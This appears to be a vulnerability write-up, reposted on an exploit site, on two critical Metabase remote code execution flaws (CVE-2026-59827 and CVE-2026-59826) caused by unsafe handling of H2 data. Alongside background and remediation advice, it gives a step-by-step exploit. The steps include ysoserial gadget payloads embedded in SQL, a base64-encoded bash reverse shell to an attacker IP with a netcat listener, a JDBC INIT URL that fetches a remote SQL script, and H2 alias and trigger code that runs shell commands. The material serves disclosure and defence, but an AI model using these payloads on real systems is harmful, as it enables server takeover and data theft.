## https://sploitus.com/exploit?id=8BA53454-D4FB-589C-A5CE-0AD17A2121F6
# CVE-2026-59827 โ Unsafe Deserialization of H2 Query Results in Metabase
**GHSA-w95f-x9v9-wv36 | CVSS 9.9 Critical | CWE-502: Deserialization of Untrusted Data**
## Overview
CVE-2026-59827 is a critical remote code execution vulnerability in Metabase, the popular open-source business intelligence and data analytics platform. The flaw stems from how Metabase handles query results returned by an H2 database connection. When a native SQL query against an H2 source returns a column typed as `OTHER`, Metabase deserializes the raw bytes of that column into a Java object without performing any validation. An authenticated user who can run native queries is therefore able to smuggle a malicious serialized payload into the result set and trigger arbitrary code execution on the server hosting Metabase.
The vulnerability was assigned a CVSS score of 9.9, reflecting the minimal preconditions required and the full server-side code execution that results from successful exploitation.
---
## Metabase Versioning Scheme
Metabase ships two parallel edition tracks from the same release cycle. The open-source edition uses version numbers prefixed with `0` โ for example, `v0.61.1`. The enterprise (commercial) edition uses version numbers prefixed with `1` โ for example, `v1.61.1`. Both editions share the same underlying codebase and are released together, so a vulnerability that affects `v1.61.0` equally affects `v0.61.0`. Throughout this write-up, version numbers are written using the enterprise `1.xx` prefix, but every affected version maps directly to its `0.xx` open-source counterpart by replacing the leading `1` with `0`.
---
## Affected Versions
Both CVE-2026-59826 and CVE-2026-59827 were disclosed together in July 2026. They share overlapping version ranges but have different patch points.
### CVE-2026-59827 โ Unsafe Deserialization (this blog)
The vulnerable enterprise releases are 1.58.0 through 1.58.14, 1.59.0 through 1.59.11, 1.60.0 through 1.60.6.2, and 1.61.0 through 1.61.1.3. The corresponding open-source releases are 0.58.0 through 0.58.14, 0.59.0 through 0.59.11, 0.60.0 through 0.60.6.2, and 0.61.0 through 0.61.1.3.
An internal patch was first issued as 1.61.1.4 (enterprise) and 0.61.1.4 (open-source). The first publicly available fixed release in the 1.61 line is 1.61.2 (v1.61.2.x / v0.61.2.x). Metabase Cloud instances were patched automatically by the provider.
### CVE-2026-59826 โ Unsafe H2 Connection Properties (related)
The vulnerable enterprise releases are 1.55.0 through 1.58.15.0, 1.59.0 through 1.59.11, 1.60.0 through 1.60.6.2, and 1.61.0 through the entire 1.61.1.x line. The first fully patched public release is 1.61.2 (v1.61.2.x / v0.61.2.x). The scope of CVE-2026-59826 is broader, reaching back to the 1.55 release line, reflecting the longer-standing presence of the insufficiently validated database-creation code path it exploits.
---
## Background: Java Deserialization
Java's serialization mechanism allows an object in memory to be converted into a flat stream of bytes, stored or transmitted, and then reconstructed later by calling `ObjectInputStream.readObject()`. The critical property of this mechanism is that reconstruction executes code. Class constructors, `readObject` overrides, and finalizers all run during deserialization. If the bytes being read come from an untrusted source, an attacker can craft them to trigger arbitrary method calls through a sequence of existing, legitimate classes already loaded in the JVM. These sequences are known as gadget chains.
Gadget chains do not require introducing any new code to the application. They exploit the wiring of existing library classes whose normal methods, when called in the right order during deserialization, eventually reach a sink such as `Runtime.exec()`. Tools like [ysoserial](https://github.com/frohoff/ysoserial/releases) exist specifically to generate these payloads for widely deployed libraries such as Apache Commons Collections, Spring Framework, and others.
---
## Background: H2's OTHER Type
H2 is a pure-Java embedded relational database. It defines a special SQL column type called `OTHER` that acts as a pass-through for arbitrary Java objects. When H2 stores a value in an `OTHER` column, it writes the bytes produced by Java's `ObjectOutputStream`. When it reads the value back, it calls `ObjectInputStream.readObject()` to reconstruct the object. The raw serialized bytes can also be supplied directly in a query using H2's hexadecimal literal syntax:
```sql
SELECT CAST(X'ACED0005...' AS OTHER);
-- or
SELECT X'ACED0005...'::OTHER;
```
The prefix `ACED` followed by `0005` is the Java serialization stream magic number and protocol version. Any hex string beginning with `ACED0005` is a Java serialized object stream.
When H2 processes this query, it deserializes the hex bytes on the database side. The resulting object is then passed back to the calling application through the JDBC `ResultSet`. If the application inspects the column value โ for example, to format it for display โ it may trigger additional processing. This is exactly what Metabase does in the vulnerable code path.
---
## How the Vulnerability Works
### The Vulnerable Code Path
Metabase receives the JDBC `ResultSet` from the H2 driver and inspects column metadata to decide how to render each value for the user. When it encounters a column with the JDBC type `Types.OTHER` (also reported as `JAVA_OBJECT`), the vulnerable versions of Metabase attempt to deserialize the raw bytes in order to produce a displayable representation. This deserialization call, `ObjectInputStream.readObject()`, executes without any whitelist filtering or class validation.
The sequence of events is:
1. The authenticated attacker opens the Metabase SQL query editor and targets a connected H2 database. The sample database is sufficient.
2. The attacker submits a native SQL query that returns a column of type `OTHER` containing a crafted serialized payload.
3. H2 processes the query and returns the raw bytes as a `JAVA_OBJECT` column in the `ResultSet`.
4. Metabase's result-processing pipeline encounters the `OTHER` column type and calls `readObject()` on the bytes.
5. The gadget chain embedded in the payload fires, reaching `Runtime.exec()` and executing the attacker's command as the OS user running the Metabase process.
### The Fix
The patched versions resolve the issue by inspecting JDBC result metadata before attempting any deserialization. If a column is typed as `JAVA_OBJECT`, Metabase now rejects it outright rather than trying to parse it.
---
## Constraints and Attack Surface
### What Access Is Required
Exploitation requires authentication. The attacker must hold a Metabase account with native query execution permission on an H2-backed database. Administrator accounts satisfy this by default. Regular user accounts can also satisfy this requirement if an administrator has granted them the native queries data permission for the relevant database.
### H2 as a Data Warehouse Was Already Removed
Metabase removed support for adding H2 as a new data warehouse connection in version 0.46.6.4, released in 2023. Attempting to register a new H2 connection through the admin interface returns the error "H2 is not supported as a data warehouse." This removal was a response to earlier H2-related vulnerabilities and was intended to eliminate the risk of connecting to attacker-controlled H2 instances.
However, H2 removal from the data warehouse connection UI is not the same as H2 removal from Metabase. Two H2 databases remain present in every default Metabase installation.
The first is the application database. When Metabase is not configured to use an external database such as PostgreSQL or MySQL, it stores its own metadata โ questions, dashboards, user accounts, and settings โ in an H2 file at `/metabase-data/metabase.db.mv.db`. This database is not directly queryable through the Metabase UI.
The second, and more directly exploitable, is the sample database. During initial setup, Metabase creates an H2 database pre-populated with example data and makes it available as the "Sample Database" connection. This connection is present by default in every Metabase instance and is the primary attack surface for CVE-2026-59827. It is a live H2 connection that users can run native SQL queries against, and the connection string visible in the admin panel points to `file:/plugins/sample-database.db`.
### Write Permission on the Sample Database
The sample database enforces read-only access for all users, including administrators. The Metabase database settings page at `http://localhost:3000/admin/databases` allows write access to be granted on connected databases, but the toggle is not available for the sample database. This means that Data Manipulation Language statements such as `CREATE`, `UPDATE`, and `DELETE` cannot be executed against the sample database through normal means.
This restriction matters because it closes off certain alternative attack paths. For instance, the H2 engine supports a `CREATE ALIAS` statement that can define a Java function and call it:
```sql
CREATE ALIAS REVEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
} $$;
```
Because write access is locked on the sample database, this DDL path is unavailable. The deserialization path through `SELECT CAST(X'...' AS OTHER)` is the viable exploit vector precisely because it requires only a `SELECT` statement, which is permitted for all users.
---
## Setting Up a Vulnerable Environment
To test this vulnerability in a controlled lab environment, run a Metabase version in the affected range:
```shell
docker run -d -p 3000:3000 \
--name metabase-vulnerable \
-v metabase-data:/metabase-data \
metabase/metabase:v0.61.1
```
Metabase will initialize at `http://localhost:3000`, create its H2 application database at `/metabase-data/metabase.db.mv.db`, and automatically provision the sample database. Complete the initial account setup to obtain an authenticated session. After setup, navigate to the SQL editor for the Sample Database. This is the execution environment for the exploit.
---
## Exploiting the Vulnerability
### Step 1 โ Confirm Deserialization Is Active
Before attempting command execution, confirm that the deserialization path is reachable. The `URLDNS` gadget chain from ysoserial generates a payload that, when deserialized, makes an outbound DNS lookup to a specified hostname. It does not execute any system commands, making it a safe probe to establish that `readObject()` is actually being called.
Generate the payload:
```shell
/usr/lib/jvm/java-11-openjdk-amd64/bin/java -jar ysoserial-all.jar URLDNS 'http://your-oast-hostname.oast.fun' | xxd -p | tr -d '\n'
```
This produces a hex string beginning with `aced0005`. An example of the hex output from a captured payload:
```
aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff74002a6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e74000071007e0005740004687474707078740031687474703a2f2f6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e78
```
### Step 2 โ Run the URLDNS Probe Query
Open the SQL editor in Metabase against the Sample Database and run the following, substituting the hex string generated for your OAST hostname:
```sql
SELECT X'aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff74002a6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e74000071007e0005740004687474707078740031687474703a2f2f6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e78'::OTHER;
```
Monitor your OAST listener. Receiving a DNS query from the Metabase server's IP address confirms that `readObject()` was called and deserialization is occurring on the `OTHER` column.
### Step 3 โ Identify a Working Gadget Chain
Which gadget chain achieves code execution depends on which Java libraries are present on the Metabase server's classpath. Try the following chains in sequence:
```bash
java -jar ysoserial-all.jar CommonsCollections1 'id' > payload.bin
java -jar ysoserial-all.jar CommonsCollections2 'id' > payload.bin
java -jar ysoserial-all.jar CommonsCollections3 'id' > payload.bin
java -jar ysoserial-all.jar Clojure 'id' > payload.bin
```
Convert each binary payload to the hex format required by the SQL query:
```bash
xxd -p payload.bin | tr -d '\n' > payload.hex
```
Then submit using the same `SELECT X'...'::OTHER` pattern in the Metabase SQL editor and observe whether the command output is reflected in any error message or response.
### Step 4 โ Execute the Command Execution Payload
Once a working gadget chain is identified, replace the test command with the desired payload. For a reverse shell, encode the command in base64 to avoid shell quoting issues:
```bash
echo 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1' | base64
```
Generate the ysoserial payload with the base64-decoded execution pattern:
```bash
java -jar ysoserial-all.jar CommonsCollections1 \
'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci1pcC80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}' \
> payload.bin
xxd -p payload.bin | tr -d '\n' > payload.hex
```
Set up the listener before submitting the query:
```bash
nc -lvnp 4444
```
Then paste the hex into the SQL editor:
```sql
SELECT X''::OTHER;
```
When Metabase processes the result set and encounters the `OTHER` column, `readObject()` fires, the gadget chain executes, and the reverse shell connects back.
---
## Troubleshooting
If `InvalidClassException` is raised, the gadget chain depends on a library version that does not match what is present on the server. Try a different chain.
If nothing happens after submitting the query, either the instance is already patched, JEP 290 serialization filters are active and blocking the gadget chain, or the `OTHER` column type is not being processed by the vulnerable code path.
If `ClassNotFoundException` occurs, the required library is absent from the classpath entirely. Try a different chain.
On UI output, you will only get error `We're experiencing server issue`:
---
## Relation to CVE-2026-59826
CVE-2026-59826 (GHSA-r6x2-rchx-q9g9) is a related vulnerability disclosed at the same time. While CVE-2026-59827 exploits deserialization through query results, CVE-2026-59826 targets a separate code path: the database registration endpoint. An authenticated administrator can submit a crafted H2 JDBC connection URL containing an `INIT` parameter that is executed when the connection is established. Because the validation applied to the `INIT` field was insufficient on certain database-creation and database-edit code paths, an attacker with admin access can achieve RCE through the connection string rather than through a query.
A malicious INIT connection URL takes a form such as:
```
jdbc:h2:mem:tempdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM "http://attacker-ip/rce.sql"
```
The SQL file served by the attacker can define and call a Java alias that executes shell commands:
```sql
CREATE ALIAS SHELLEXEC AS $$
String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(
Runtime.getRuntime().exec(command).getInputStream()
).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
}
$$;
CALL SHELLEXEC('ncat -e /bin/bash attacker-ip 5555')
```
Alternatively, the INIT string can embed the trigger directly without a remote file fetch:
```
jdbc:h2:file:/tmp/tempdb;TRACE_LEVEL_SYSTEM_OUT=0\;
CREATE TRIGGER rce_trigger BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS
$$
java.lang.Runtime.getRuntime().exec('bash -c {echo,}|{base64,-d}|{bash,-i}')
$$--=x
```
Both CVE-2026-59826 and CVE-2026-59827 share the same root cause โ insufficient hardening around H2's server-side execution features โ but differ in the specific code paths exploited and the required privilege level.
---
## Mitigation and Remediation
Upgrade Metabase to one of the following patched versions: 1.58.15, 1.59.12, 1.60.6.3, or 1.61.1.4. These releases modify the result-processing pipeline to inspect JDBC column metadata and refuse to process any column reported as `JAVA_OBJECT` or `OTHER` type, preventing the deserialization call from occurring.
If an immediate upgrade is not possible, restrict native query permissions. Remove the native query execution permission from all non-administrative users for H2-backed databases, including the sample database. This reduces the attack surface to administrator-level accounts only. Separately, consider whether the sample database is needed at all; disabling or removing it eliminates the H2 attack surface for this CVE entirely.
For self-hosted instances using H2 as the application database, Metabase's own documentation recommends migrating to PostgreSQL or MySQL as a more robust and secure application database backend.
---
## References
- NVD entry: https://nvd.nist.gov/vuln/detail/CVE-2026-59827
- GitHub Advisory GHSA-w95f-x9v9-wv36: https://github.com/metabase/metabase/security/advisories/GHSA-w95f-x9v9-wv36
- OSV entry: https://osv.dev/vulnerability/GHSA-w95f-x9v9-wv36
- ysoserial payload generator: https://github.com/frohoff/ysoserial/releases